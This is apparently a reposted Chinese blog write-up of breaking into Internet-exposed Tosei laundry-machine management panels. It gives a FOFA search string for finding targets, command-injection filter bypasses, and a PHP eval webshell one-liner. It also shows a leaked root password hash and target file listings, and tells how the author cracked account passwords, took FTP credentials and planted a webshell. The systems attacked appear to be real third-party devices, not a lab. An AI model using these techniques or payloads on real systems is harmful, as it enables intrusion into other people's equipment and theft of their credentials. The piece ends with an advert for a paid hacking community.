注：本文仅做技术假设分享，禁止对外非法渗透，违者后果自负
前段时间很火的东正洗衣机rce漏洞
语法
fofa: body="tosei_login_check.php"页面长这样
poc如下
后台常规的测试功能管道符绕过
成功RCE
这里复习一下常见的命令注入绕过方式
1.管道符
2.拼接字符串 windows: ~%xxx:0~1 linux: $xxx:start,length
3.特殊符号^,"",()，$@
4.空格绕过， ${IFS},{}
5.变量赋值
6.默认路径 通配符
7.hex编码 xxd
8.base64编码
9.分号绕过
10.``绕过
11. \ 绕过
12. dnslog绕过
这里处理一下上传webshell的问题
IFS=,;`cat<<<'<?php @eval($_POST[1]);?>'>5.php`没处理成功，对面系统无法执行
折腾了半天的下载，发现机子不出网，无ping和curl
无权限写目录，tmp对应目录了也无法写
干到这了，不写个shell怪可惜的
开始信息收集！
1.本机信息收集
pwd
查看当前目录
ls${IFS}-lahtotal 1.8M
drwxrwxrwx 3 root root 4.0k Jun 13 2018 .
drwxrwxrwx 5 root root 1.0k Nov 20 2018 ..
lrwxrwxrwx 1 root root 12 Dec 29 2004 .htaccess -> ../.htaccess
-rwxr-xr-x 1 root root 6.8k Sep 28 2005 alert_rss.rdf
-rwxr-xr-x 1 root root 1.3k Jan 11 2005 downloader.php
lrwxrwxrwx 1 root root 23 Dec 29 2004 images -> /usr/apache/html/images
-rwxr-xr-x 1 root root 5.7k Oct 24 2005 imode_alldata.php
-rwxr-xr-x 1 root root 7.6k Jan 12 2005 imode_eventlog.php
-rwxr-xr-x 1 root root 3.2k Dec 6 2005 imode_eventstat.php
-rwxr-xr-x 1 root root 2.1k Jan 12 2005 imode_info.php
drwxrwxrwx 2 root root 2.0k Jun 13 2018 include
-rwxrwxrwx 1 root root 4.7k Oct 25 2017 index_x1.php
-rwxrwxrwx 1 root root 4.8k Feb 25 2011 index_x11.php
-rwxrwxrwx 1 root root 6.4k Oct 25 2017 index_x12.php
-rwxrwxrwx 1 root root 11k Feb 25 2011 index_x13.php
-rwxrwxrwx 1 root root 4.3k Feb 25 2011 index_x14.php
-rwxrwxrwx 1 root root 5.4k Feb 25 2011 index_x15.php
-rwxrwxrwx 1 root root 2.0k Dec 24 05:45 login.php
-rwxrwxrwx 1 root root 32k Sep 14 2017 mainte_jikan_kadou.php
-rwxrwxrwx 1 root root 43k Sep 14 2017 mainte_jikan_uriage.php
-rwxr-xr-x 1 root root 2.2k Apr 15 2016 network_test.php
-rwxrwxrwx 1 root root 5.8k Apr 15 2016 p1_conf_update.php
-rwxrwxrwx 1 root root 6.8k Apr 15 2016 p1_ftpserver.php
-rwxrwxrwx 1 root root 9.1k Jun 23 2016 p1_info_device.php
-rwsr-xr-x 1 root root 17k Apr 5 2016 p1_network_dns.cgi
-rwsr-xr-x 1 root root 14k Jun 14 2016 p1_network_inetd.cgi
-rwsrwxrwx 1 root root 20k Apr 5 2016 p1_network_mail.cgi
-rwsr-xr-x 1 root root 24k Apr 15 2016 p1_schedule_setting.cgi
-rwsr-xr-x 1 root root 14k Apr 5 2016 p1_setdate.cgi
-rwsr-xr-x 1 root root 17k Apr 5 2016 p1_setipadr.cgi
-rwxrwxrwx 1 root root 1.1k May 6 2011 p1_system_check.php
-rwsr-xr-x 1 root root 20k Apr 5 2016 p1_system_ntp.cgi
-rwsr-xr-x 1 root root 14k Jun 14 2016 p1_system_user.cgi
-rwxrwxrwx 1 root root 1.2k Apr 26 2011 p1_user_check.php
-rw-r--r-- 1 root contec 17k May 21 2007 style_tosei.css
-rwxrwxrwx 1 root root 2.7k Sep 18 2007 tosei-i_running.php
-rwxrwxrwx 1 root root 2.3k Sep 18 2007 tosei-i_running1.php
-rwxrwxrwx 1 root root 18k Feb 14 2011 tosei-i_sousa.php
-rwxrwxrwx 1 root root 16k Feb 21 2011 tosei-i_sousa_2.php
-rwxrwxrwx 1 root root 8.5k Jan 30 2011 tosei-i_sousa_3.php
-rwxrwxrwx 1 root root 7.4k Jan 30 2011 tosei-i_sousa_check.php
-rwxrwxrwx 1 root root 1.6k Sep 12 2007 tosei-i_sousa_check1.php
-rwxrwxrwx 1 root root 5.1k Jan 30 2011 tosei-i_sousa_check2.php
-rw-r--r-- 1 fws fws 35k Dec 1 2010 tosei_common.def
-rwxrwxrwx 1 root root 2.6k Aug 28 2017 tosei_creditinfo.php
-rwxrwxrwx 1 root root 21k Sep 15 2017 tosei_datasend.php
-rwxrwxrwx 1 root root 1.9k Sep 14 2017 tosei_error.php
-rwxrwxrwx 1 root root 36k Oct 10 2017 tosei_getubetu_kadou.php
-rwxrwxrwx 1 root root 30k Nov 13 2017 tosei_getubetu_uriage.php
-rwxrwxrwx 1 root root 4.0k Apr 15 2016 tosei_gokiinfo.php
-rwxrwxrwx 1 root root 13k Sep 14 2017 tosei_gulisu_settei.php
-rwxrwxrwx 1 root root 8.6k Aug 9 2017 tosei_gulisu_tenken.php
-rwxrwxrwx 1 root root 17k Apr 20 2016 tosei_haraidashi.php
-rwxrwxrwx 1 root root 4.3k Sep 19 2007 tosei_help.php
-rwxrwxrwx 1 root root 43k Oct 10 2017 tosei_hiduke_kadou.php
-rwxrwxrwx 1 root root 27k Nov 13 2017 tosei_hiduke_uriage.php
-rwxrwxrwx 1 root root 7.4k Apr 4 2018 tosei_honjitsu_tenko.php
-rwxrwxrwx 1 root root 8.4k Sep 14 2017 tosei_ipento_setei.php
-rwxrwxrwx 1 root root 34k Oct 10 2017 tosei_jikan_kadou.php
-rwxrwxrwx 1 root root 50k Nov 13 2017 tosei_jikan_uriage.php
-rwxrwxrwx 1 root root 26k Dec 4 2015 tosei_kikai.php
-rwxrwxrwx 1 root root 10k Sep 14 2017 tosei_kikai_era.php
-rwxrwxrwx 1 root root 10k Sep 20 2017 tosei_kikai_jyouhou.php
-rwxrwxrwx 1 root root 8.4k Mar 26 2018 tosei_kikai_kanri.php
-rwxrwxrwx 1 root root 11k Sep 14 2017 tosei_kikai_name.php
-rwxrwxrwx 1 root root 11k Sep 8 2017 tosei_kikai_seisanki.php
-rwxrwxrwx 1 root root 6.3k Apr 6 2016 tosei_kikai_siyou.php
-rwxrwxrwx 1 root root 18k Nov 16 2017 tosei_kikai_sousa.php
-rwxrwxrwx 1 root root 10k Apr 15 2016 tosei_kishuinfo.php
-rwxr-xr-x 1 root root 354 Feb 18 2016 tosei_login_check.php
-rwsrwxrwx 1 root root 13k Apr 5 2016 tosei_mainte_user.cgi
-rwxrwxrwx 1 root root 13k Sep 14 2017 tosei_oiru_settei.php
-rwxrwxrwx 1 root root 8.6k Aug 9 2017 tosei_oiru_tenken.php
-rwxrwxrwx 1 root root 4.7k May 26 2016 tosei_owner_card.php
-rwxrwxrwx 1 root root 11k Apr 3 2018 tosei_owner_helocall.php
-rwxrwxrwx 1 root root 2.6k Aug 28 2017 tosei_payment_info.php
-rwsr-xr-x 1 root root 14k Jun 20 2016 tosei_payment_user.cgi
-rwsrwxrwx 1 root root 12k Apr 5 2016 tosei_reboot.cgi
-rwxrwxrwx 1 root root 16k Sep 14 2017 tosei_rinfareta_settei.php
-rwxrwxrwx 1 root root 15k May 31 2012 tosei_rinfareta_tenken.php
-rwxrwxrwx 1 root root 2.0k Apr 5 2016 tosei_running.php
-rwxrwxrwx 1 root root 8.0k Sep 14 2017 tosei_ryoukin_henkou.php
-rwxrwxrwx 1 root root 84k Sep 14 2017 tosei_save_data.php
-rwxrwxrwx 1 root root 39k Sep 14 2017 tosei_setup.php
-rwxrwxrwx 1 root root 9.1k Apr 4 2018 tosei_shisutemu_helocall.php
-rwxrwxrwx 1 root root 3.1k Apr 15 2016 tosei_shopinfo.php
-rwxrwxrwx 1 root root 44k Sep 14 2017 tosei_sousa.php
-rwxrwxrwx 1 root root 32k Mar 11 2016 tosei_sousa_2.php
-rwxrwxrwx 1 root root 7.9k May 26 2016 tosei_sousa_check.php
-rwxrwxrwx 1 root root 3.9k Sep 14 2017 tosei_sousa_history.php
-rwsrwxrwx 1 root root 13k Apr 5 2016 tosei_sub_user.cgi
-rwxrwxrwx 1 root root 8.9k Sep 14 2017 tosei_syuusei.php
-rwxr-xr-x 1 root root 5.8k Mar 14 2007 tosei_syuusei.php.org
-rwxrwxrwx 1 root root 23k Sep 5 2017 tosei_top.php
-rwxrwxrwx 1 root root 137k Nov 14 2017 tosei_uriage.php
-rwxrwxrwx 1 fws fws 104k Dec 1 2010 tosei_uriage.php.org
-rwxrwxrwx 1 root root 50k Sep 14 2017 tosei_waribiki_1.php
-rwxrwxrwx 1 root root 42k Sep 12 2007 tosei_waribiki_1a.php
-rwxrwxrwx 1 root root 40k Sep 14 2017 tosei_waribiki_2.php
-rwxrwxrwx 1 root root 31k Sep 14 2017 tosei_waribiki_check.php
-rwxrwxrwx 1 root root 45k Oct 10 2017 tosei_youbi_kadou.php
-rwxrwxrwx 1 root root 29k Nov 13 2017 tosei_youbi_uriage.php
都无写入权限
试试tmp目录下tmp也不能下载文件，只能touch一个文件
web目录也没权限写
难道就要就此放弃了吗
2.破解密码
cat一下/etc/passwd
发现了惊喜
/etc/passwd一般存的是一般的用户信息
/etc/shadow存储用户密码信息
前者格式
用户名:密码:用户 ID:用户组 ID:注释:用户目录:登录 shell
当密码存储在/etc/shadow时，密码用x代替
例如：root:x:0:0:root:/root:/bin/bash
后者格式
用户名:密码:上次修改密码日期（从 1970 年 1 月 1 日起的天数）:密码在两次修改期间的最小天数（0 表示可在任何时间修改）:密码需要被变更的天数（99999 表示不需要变更）:密码变更前提前几天警告:账号失效日期:账号失效后被禁用的天数:保留字段
root:$6$Fsf6Q6SH$MlagWih0lcGFxtAo7/s8Z5.wywJyCqH6qateZ6yPFOPm8bNYTGAEPygZxSOPR1A9Rtw.WxJp2fNMOoeB1wj890:17524:0:99999:7:::
这里密码直接泄露在etc/passwd里，我们可以尝试来破解
成功破解两个账户
但对方22端口拒绝连接
g
3.发现htaccess文件
发现精彩东西
chatgpt一下就行了
这个配置文件直接暴露了权限控制要求的目标用户
且对应的文件在
那还等什么，我们直接
cat /usr/apache/.pass发现好东西
再次破解成功
其他的也可以拿去破解破解
左边是密码，右边是账号
非常完美
1.进入管理页面输入账号密码
成功打入
然后翻阅
抓重点文件进行测试
1.之前的命令注入由此产生
2.ftp服务器发现好东西
发现ftp的ip，密码，端口，还有域名信息
账号密码端口
密码的话直接f12明文查看
直接ftp
成功进入
3.put lcd上传下载东西姿势
这是最简单的ftp操作
成功种入一句话木马
成功上线
如果你是一个长期主义者，欢迎加入我的知识星球，我们一起往前走，每日都会更新，精细化运营，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券，这里发放100张100元的优惠券,用完今年不再发放
往期回顾
1.无域环境，不过这个机子还有其他域名，主打的是一个洗衣机服务，但涉及到了其它资产
2.相同资产利用链相同，都存在默认账号密码，不过试了好些机子，都存在防护环境，需要免杀
文章来源: https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247494854&idx=1&sn=71671354c002d3431999b72e4501603a&chksm=e8a5e6a5dfd26fb390d2eaa6b182e07017088ccbdc424dab94b47db3f75e1f7ae3dc26131eab&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh
如有侵权请联系:admin#unsafe.sh